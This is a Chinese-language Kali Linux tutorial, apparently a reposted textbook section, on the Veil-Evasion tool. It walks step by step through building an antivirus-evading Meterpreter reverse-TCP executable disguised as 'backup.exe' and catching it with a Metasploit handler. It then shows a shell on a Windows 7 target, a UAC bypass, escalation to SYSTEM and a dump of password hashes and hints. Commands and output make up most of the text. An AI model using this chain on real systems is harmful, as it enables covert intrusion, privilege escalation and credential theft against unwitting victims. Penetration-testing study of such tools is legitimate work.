zoukankan      html  css  js  c++  java
  • Kali-linux免杀Payload生成工具Veil

    Veil是一款利用Metasploit框架生成相兼容的Payload工具,并且在大多数网络环境中能绕过常见的杀毒软件。本节将介绍Veil工具的安装及使用。

    在Kali Linux中,默认没有安装Veil工具。这里首先安装Veil工具,执行如下所示的命令:

    root@kali:~# apt-get install veil
    

    执行以上命令后,如果安装过程没有提示错误的话,则表示Veil工具安装成功。由于安装该工具依赖的软件较多,所以此过程时间有点长。

    启动Veil工具。执行命令如下所示:

    root@kali:~# veil-evasion
    

    执行以上命令后,将会输出大量的信息。如下所示:

    ===============================================
     Veil First Run Detected… Initializing Script Setup…
    ===============================================
    [*] Executing ./setup/setup.sh
    ===============================================
     Veil-Evasion Setup Script | [Updated]: 01.15.2015
    ===============================================
     [Web]: https://www.veil-framework.com | [Twitter]: @VeilFramework
    ===============================================
    [*] Initializing Apt Dependencies Installation
    [*] Adding i386 Architecture To x86_64 System
    [*] Updating Apt Package Lists
    命中 http://mirrors.ustc.edu.cn kali Release.gpg
    命中 http://mirrors.ustc.edu.cn kali/updates Release.gpg
    命中 http://mirrors.ustc.edu.cn kali Release
    命中 http://mirrors.ustc.edu.cn kali/updates Release
    命中 http://mirrors.ustc.edu.cn kali/main Sources
    命中 http://mirrors.ustc.edu.cn kali/non-free Sources
    命中 http://mirrors.ustc.edu.cn kali/contrib Sources
    命中 http://mirrors.ustc.edu.cn kali/main amd64 Packages
    命中 http://mirrors.ustc.edu.cn kali/non-free amd64 Packages
    命中 http://mirrors.ustc.edu.cn kali/contrib amd64 Packages
    获取:1 http://mirrors.ustc.edu.cn kali/main i386 Packages [8,474 kB]
    命中 http://http.kali.org kali Release.gpg
    命中 http://security.kali.org kali/updates Release.gpg
    命中 http://http.kali.org kali Release
    ……
    忽略 http://http.kali.org kali/non-free Translation-en
    下载 17.8 MB,耗时 20秒 (859 kB/s)
    正在读取软件包列表… 完成
     [*] Installing Wine i386 Binaries
    正在读取软件包列表… 完成
    正在分析软件包的依赖关系树
    正在读取状态信息… 完成
    将会安装下列额外的软件包:
     gcc-4.7-base:i386 libasound2:i386 libc-bin libc-dev-bin libc6 libc6:i386
     libc6-dev libc6-i686:i386 libdbus-1-3:i386 libdrm-intel1:i386
     libdrm-nouveau1a:i386 libdrm-radeon1:i386 libdrm2:i386 libexpat1:i386
     libffi5:i386 libfontconfig1:i386 libfreetype6:i386 libgcc1:i386
    [*] Cleaning Up Setup Files
    [*] Updating Veil-Framework Configuration
     Veil-Framework configuration:
     [*] OPERATING_SYSTEM = Kali
     [*] TERMINAL_CLEAR = clear
     [*] TEMP_DIR = /tmp/
     [*] MSFVENOM_OPTIONS =
     [*] METASPLOIT_PATH = /usr/share/metasploit-framework/
     [*] PYINSTALLER_PATH = /usr/share/pyinstaller/
    [*] VEIL_EVASION_PATH = /usr/share/veil-evasion/
     [*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
     [*] Path '/root/veil-output/source/' Created
     [*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
     [*] Path '/root/veil-output/compiled/' Created
     [*] Path '/root/veil-output/handlers/' Created
     [*] GENERATE_HANDLER_SCRIPT = True
     [*] HANDLER_PATH = /root/veil-output/handlers/
     [*] HASH_LIST = /root/veil-output/hashes.txt
    [*] VEIL_CATAPULT_PATH = /usr/share/Veil-Catapult/
     [*] Path '/root/veil-output/catapult/' Created
     [*] CATAPULT_RESOURCE_PATH = /root/veil-output/catapult/
    [*] Path '/etc/veil/' Created
     Configuration File Written To '/etc/veil/settings.py'
    

    以上信息只有在第一次运行Veil时才显示。在此过程中,初始化一些脚本、软件包列表、更新配置及安装需要的软件包。在此过程中以图形界面的形式依次安装了Python及它的两个模块pywin32-218和pycrypto-2.6。下面依次进行安装。首先弹出的对话框,如图6.32所示。

    图6.32 Python初始界面

    该界面是安装Python的初始界面。这里使用默认设置,单击Next按钮,将显示如图6.33所示的界面。

    图6.33 选择Python安装位置

    在该界面单击Next按钮,将显示如图6.34所示的界面。该界面提示C:Python27已存在,确认是否要覆盖已存在的文件。这里单击Yes按钮,将显示如图6.35所示的界面。

    图6.34 确认Python的安装位置

    图6.35 自定义Python

    在该界面自定义安装Python的一些功能。这里使用默认的设置,单击Next按钮,将显示如图6.36所示的界面。

    图6.36 安装完成

    该界面提示Python已经安装完成。此时单击Finish按钮,将显示如图6.37所示的界面。

    图6.37 安装pywin32-218模块界面

    该界面是要求安装pywin32-218模块。这里单击“下一步”按钮,将显示如图6.38所示的界面。

    图6.38 设置向导

    这里使用默认设置,单击“下一步”按钮,将显示如图6.39所示的界面。

    图6.39 准备安装

    该界面用来确实是否要开始安装。如果确认配置正确的话,单击“下一步”按钮,将显示如图6.40所示的界面。

    图6.40 安装完成

    从该界面可以看到pywin32-218模块已经安装完成。此时单击“结束”按钮,将显示如图6.41所示的界面。

    图6.41 安装pycrypto-2.6模块初始界面

    该界面提示需要安装pycrypto-2.6模块。这里单击“下一步”按钮开始安装,如图6.42所示。

    图6.42 设置向导

    这里使用默认设置,单击“下一步”按钮,将显示如图6.43所示的界面。

    图6.43 准备安装

    该界面提示将要安装pycrypto模块。这里单击“下一步”按钮,将显示如图6.44所示的界面。

    图6.44 安装完成

    从该界面可以看到以上软件包已安装完成。此时单击“结束”按钮,将显示如下所示的信息:

    ===============================================
     Veil-Evasion | [Version]: 2.4.3
    ===============================================
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================
    Main Menu
      24 payloads loaded
    Available commands:
      use      use a specific payload
      info     information on a specific payload
      list     list available payloads
      update   update Veil to the latest version
      clean    clean out payload folders
      checkvt  check payload hashes vs. VirusTotal
      exit     exit Veil
    [>] Please enter a command:
    

    从以上信息中可以看到在Veil下,有24个攻击载荷可加载,并列出了可用的命令。现在就可以进行各种操作了。例如查看可加载的攻击模块,执行命令如下所示:

    [>] Please enter a command: list
    ===============================================
     Veil-Evasion | [Version]: 2.4.3
    ===============================================
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================
    [*] Available payloads:
      1)   c/meterpreter/rev_tcp
      2)   c/meterpreter/rev_tcp_service
      3)   c/shellcode_inject/virtual
      4)   c/shellcode_inject/void
      5)   cs/meterpreter/rev_tcp
      6)   cs/shellcode_inject/base64_substitution
      7)   cs/shellcode_inject/virtual
      8)   native/Hyperion
      9)   native/backdoor_factory
      10)  native/pe_scrambler
      11)  powershell/shellcode_inject/download_virtual
      12)  powershell/shellcode_inject/psexec_virtual
      13)  powershell/shellcode_inject/virtual
      14)  python/meterpreter/rev_http
      15)  python/meterpreter/rev_http_contained
      16)  python/meterpreter/rev_https
      17)  python/meterpreter/rev_https_contained
      18)  python/meterpreter/rev_tcp
      19)  python/shellcode_inject/aes_encrypt
      20)  python/shellcode_inject/arc_encrypt
      21)  python/shellcode_inject/base64_substitution
      22)  python/shellcode_inject/des_encrypt
      23)  python/shellcode_inject/flat
      24)  python/shellcode_inject/letter_substitution
    

    从输出的信息中,可以看到有24个可用的攻击载荷。此时可以利用任何一个攻击载荷,进行渗透攻击。

    【实例6-5】演示使用Veil工具中的载荷(本例以cs/meterpreter/rev_tcp为例),进行渗透攻击(这里以Windows 7作为攻击靶机)。具体操作步骤如下所示。

    (1)启动Veil工具。执行命令如下所示:

    root@kali:~# veil-evasion
    

    执行以上命令后,将显示如下所示的信息:

    ===============================================
     Veil-Evasion | [Version]: 2.4.3
    ===============================================
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================
    Main Menu
      24 payloads loaded
    Available commands:
      use      use a specific payload
      info     information on a specific payload
      list     list available payloads
      update   update Veil to the latest version
      clean    clean out payload folders
      checkvt  check payload hashes vs. VirusTotal
      exit     exit Veil
    [>] Please enter a command:
    

    在输出的信息中看到[>] Please enter a command:提示符,就表示Veil登录成功了。

    (2)选择cs/meterpreter/rev_tcp攻击载荷。在攻击载荷列表中,cs/meterpreter/rev_tcp载荷的编号是5。执行命令如下所示:

    [>] Please enter a command: use 5
    ===============================================
     Veil-Evasion | [Version]: 2.4.3
    ===============================================
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================
    Payload: cs/meterpreter/rev_tcp loaded
    Required Options:
    Name            Current Value   Description
     ----           -------------   --------------------------
     LHOST                          IP of the metasploit handler
     LPORT          4444            Port of the metasploit handler
     compile_to_exe Y               Compile to an executable
    Available commands:
      set       set a specific option value
      info      show information about the payload
      generate  generate payload
      back      go to the main menu
      exit      exit Veil
     [>] Please enter a command:
    

    输出信息显示了rev_tcp攻击载荷可配置的选项参数。这里默认指定的本地端口(LPORT)是4444,LHOST选项还没有配置。

    (3)配置LHOST选项参数,并查看攻击载荷的详细信息。执行命令如下所示:

    [>] Please enter a command: set LHOST 192.168.6.103
    [>] Please enter a command: info
    ===============================================
     Veil-Evasion | [Version]: 2.4.3
    ===============================================
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================
    Payload information:
      Name:         cs/meterpreter/rev_tcp
      Language:     cs
      Rating:       Excellent
      Description:  pure windows/meterpreter/reverse_tcp stager, no shellcode
    Required Options:
    Name             Current Value  Description
     ----            ------------- --------------------------
     LHOST           192.168.6.100  IP of the metasploit handler
     LPORT           4444           Port of the metasploit handler
     compile_to_exe  Y              Compile to an executable
    

    从输出的信息中,可以看到rev_tcp攻击载荷的详细信息,如攻击载荷名、语言、级别及配置的选项参数等。

    (4)此时,使用generate命令生成载荷文件。执行命令如下所示:

    [>] Please enter a command: generate
    ===============================================
     Veil-Evasion | [Version]: 2.4.3
    ===============================================
     [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
    ===============================================
    [*] Press [enter] for 'payload'
     [>] Please enter the base name for output files: backup  #指定输出文件名
    

    在以上命令中指定一个文件名为backup。然后按下回车键,将显示如下所示的信息:

     [*] Executable written to: /root/veil-output/compiled/backup.exe
    Language:            cs
     Payload:            cs/meterpreter/rev_tcp
     Required Options:   LHOST=192.168.6.103 LPORT=4444 compile_to_exe=Y
     Payload File:       /root/veil-output/source/backup.cs
     Handler File:       /root/veil-output/handlers/backup_handler.rc
    [*] Your payload files have been generated, don't get caught!
     [!] And don't submit samples to any online scanner! ;)
    [>] press any key to return to the main menu:
    

    从输出的信息中可以看到生成一个可执行文件backup.exe,并且该文件保存在/root/veil-output/compiled/中。此时将可执行文件backup.exe发送到目标主机上,就可以利用该攻击载荷了。

    接下来需要使用Metasploit创建一个远程处理器,等待目标主机连接到Kali Linux(攻击主机)操作系统。连接成功后,就获取到一个远程Shell命令。

    【实例6-6】创建远程处理器。具体操作步骤如下所示。

    (1)启动MSF终端。

    (2)使用handler模块。执行命令如下所示:

    msf > use exploit/multi/handler
    

    (3)加载reverse_tcp攻击载荷,并设置其选项参数。执行命令如下所示:

    msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
    payload => windows/meterpreter/reverse_tcp
    msf exploit(handler) > set LHOST 192.168.6.103
    LHOST => 192.168.6.103
    

    (4)启动渗透攻击。执行命令如下所示:

    msf exploit(handler) > exploit
    [*] Started reverse handler on 192.168.6.103:4444
    [*] Starting the payload handler…
    

    从输出信息可以看到攻击载荷已启动,正在等待连接目标主机。

    此时将前面生成的可执行文件backup.exe发送到目标主机(Windows 7),并运行该可执行文件。然后返回到Kali Linux操作系统,将看到如下所示的信息:

    [*] Sending stage (769536 bytes) to 192.168.6.110
    [*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.110:2478) at 2014-07-17 10:44:47 +0800
    meterpreter >
    

    从以上信息中,可以看到成功打开了一个Meterpreter会话。这表示已成功渗透攻击目标主机,现在就可以进行一些Shell命令。如进行目标主机的Shell环境,执行命令如下 所示:

    meterpreter > shell
    Process 1544 created.
    Channel 1 created.
    Microsoft Windows [版本 6.1.7601]
                  (c) 2009 Microsoft Corporation
    C:UserslywDesktop>
    

    输出的信息表示进入了目标系统Windows 7的命令行,并且当前目标系统登录的用户是lyw。

    如果以上用户没有太高权限时,可以使用Metasploit中的bypassuac模块绕过UAC(用户访问控制),进而提升用户的权限。下面将介绍使用bypassuac模块提升以上lyw用户的权限。

    (1)将Meterpreter会话,调用到后台运行。执行命令如下所示:

    meterpreter > background
    [*] Backgrounding session 1…
    

    从输出的信息中,可以看到当前后台运行的会话编号是1。该会话编号需要记住,在后面将会用到。

    (2)查看会话详细信息。执行命令如下所示:

    从输出信息中可以看到该会话中,连接到目标系统的运行架构、计算机名及IP地址。

    (3)使用bypassuac模块,并查看可配置的选项参数。执行命令如下所示:

    从输出信息中,可以看到模块选项中有一个可配置的选项参数SESSION。该选项的值,就是当前后台运行的会话编号。

    (4)设置SESSION选项参数。如下所示:

    msf exploit(bypassuac) > set session 1
    session => 1
    

    (5)启动渗透攻击。执行命令如下所示:

    msf exploit(bypassuac) > exploit
    [*] Started reverse handler on 192.168.6.103:4444
    [*] UAC is Enabled, checking level…
    [+] UAC is set to Default
    [+] BypassUAC can bypass this setting, continuing…
    [+] Part of Administrators group! Continuing…
    [*] Uploaded the agent to the filesystem….
    [*] Uploading the bypass UAC executable to the filesystem…
    [*] Meterpreter stager executable 73802 bytes long being uploaded..
    [*] Sending stage (769536 bytes) to 192.168.6.106
    [*] Meterpreter session 2 opened (192.168.6.103:4444 -> 192.168.6.106:49206) at 2014-07-18 10:15:38 +0800
    meterpreter >
    

    从输出的信息中,可以看到目前登录的用户实际上是属于管理组的成员,并且绕过了UAC创建了一个新的会话。此时就可以提升用户的权限了。

    (6)查看lyw用户的信息。执行命令如下所示:

    meterpreter > getuid
    Server username: WIN-RKPKQFBLG6Clyw
    

    从输出信息中可以看到该用户只是WIN-RKPKQFBLG6C计算机中的一个普通用户。

    (7)提升lyw用户的权限,并查看其用户信息。执行命令如下所示:

    meterpreter > getsystem
    …got system (via technique 1).
    meterpreter > getuid
    Server username: NT AUTHORITYSYSTEM
    

    从输出信息中可以看到当前lyw用户,拥有了系统级别的权限。此时,可以进行任何的操作。如捕获目标系统中,用户的密码哈希值。执行命令如下所示:

    meterpreter > run post/windows/gather/hashdump
    [*] Obtaining the boot key…
    [*] Calculating the hboot key using SYSKEY 88f6c818af614f7033cb885 74907b61c…
    [*] Obtaining the user list and keys…
    [*] Decrypting user keys…
    [*] Dumping password hints…
    Test:"www.123"
    abc:“123456”
    alice:“passwd”
    [*] Dumping password hashes…
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    bob:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
    

    从输出的信息中,可以看到目标系统中有三个用户,并且可以看到它们的UID及密码哈希值。而且,还捕获到三个键盘输入的密码。如捕获的Test用户,其密码为www.123。

  • 相关阅读:
    OC练习题
    如何将字符串@“ abc123.xyz789”倒置
    整数转换成字符串倒叙放在数组中遍历
    查找名字中有王的姓
    查询单词里包含的字符串
    OC7考核
    OC考核测试题
    OC6考核
    OC5考核
    KH8
  • 原文地址:https://www.cnblogs.com/student-programmer/p/6728806.html
Copyright © 2011-2022 走看看